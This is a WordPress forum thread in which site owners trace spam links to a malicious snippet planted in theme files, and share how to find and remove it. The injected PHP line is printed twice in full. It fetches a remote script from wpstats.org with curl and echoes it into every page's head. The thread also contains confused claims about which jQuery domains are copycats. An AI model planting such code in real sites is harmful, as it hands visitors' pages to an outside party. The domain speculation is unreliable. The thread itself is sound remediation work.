Un necessary care2.com links in my source file

i’ve removed the wordpress-database-backup-plugin now…

so, this guys from wpstats.org have another copycat site >>> https://jquery.org

with yet another script which loads links randomly in your site. Found another line of code in my theme functions.php which loaded some links in my site. Is there any way to report this domain names somewhere so they can be taken down? It i clearly they are loading malicious code without user consent, and I thing this is not legal?

interesting…

whois tells me that jquery.org belongs to someone named “John Resig” – well, is it that John Resig who developed jQuery?
https://en.wikipedia.org/wiki/John_Resig

They bought a domain name pretty similar to the original one https://www.jquerys.org (the original one is https://www.jquery.com and https://www.jquery.org), on the index file they have a redirect, so, if you try to get on site, you just get on the “legal” one, if you look into the code lines, the link is pretty similar to the “legal” one… and you just might pass the line without any concerns. The malicious file is hosted on the copycat server, the same with another js file with problems which I think is from the same guys, the https://www.wpstats.org server… What to do with this ones, I do not know, maybe just reporting those domains somewhere…I do not know if this is possible.

WOOW WORKIG

zero web
Member
Posted 1 month ago #

I have found the problem.

Check your installed theme “functions.php” for this line:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url = “https://www.wpstats.org/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
For me, it was on line 3. Deleted the entire line, and…puff, no more sexy links in source code.

Hope this helps, it took us some days of searching through the files….

I have found the problem.

Check your installed theme “functions.php” for this line:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url = “https://www.wpstats.org/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
For me, it was on line 3. Deleted the entire line, and…puff, no more sexy links in source code.

Hope this helps, it took us some days of searching through the files….

This is working.
Thank you very much.

Glad I could help

OMG thank you so much… saved me so much hassle ??

I did the following to solve this problem:
I downloaded the theme folder (as the problem comes from it)
I opened the notepad++ (freeware software)
Click in search>search in files
And when it says “folder” I entered as a path the folder of the theme ( this will make a specific search in a whole folder )
I searched the name of the false jquery “jquery-1.6.3.min.js”
and in my particular case, that was in \nameofthetheme\include\plugin\post.php

I eliminated the external path and upload this file to ftp

Problem solved!

Hope it helps

For any questions , mail me : [email protected]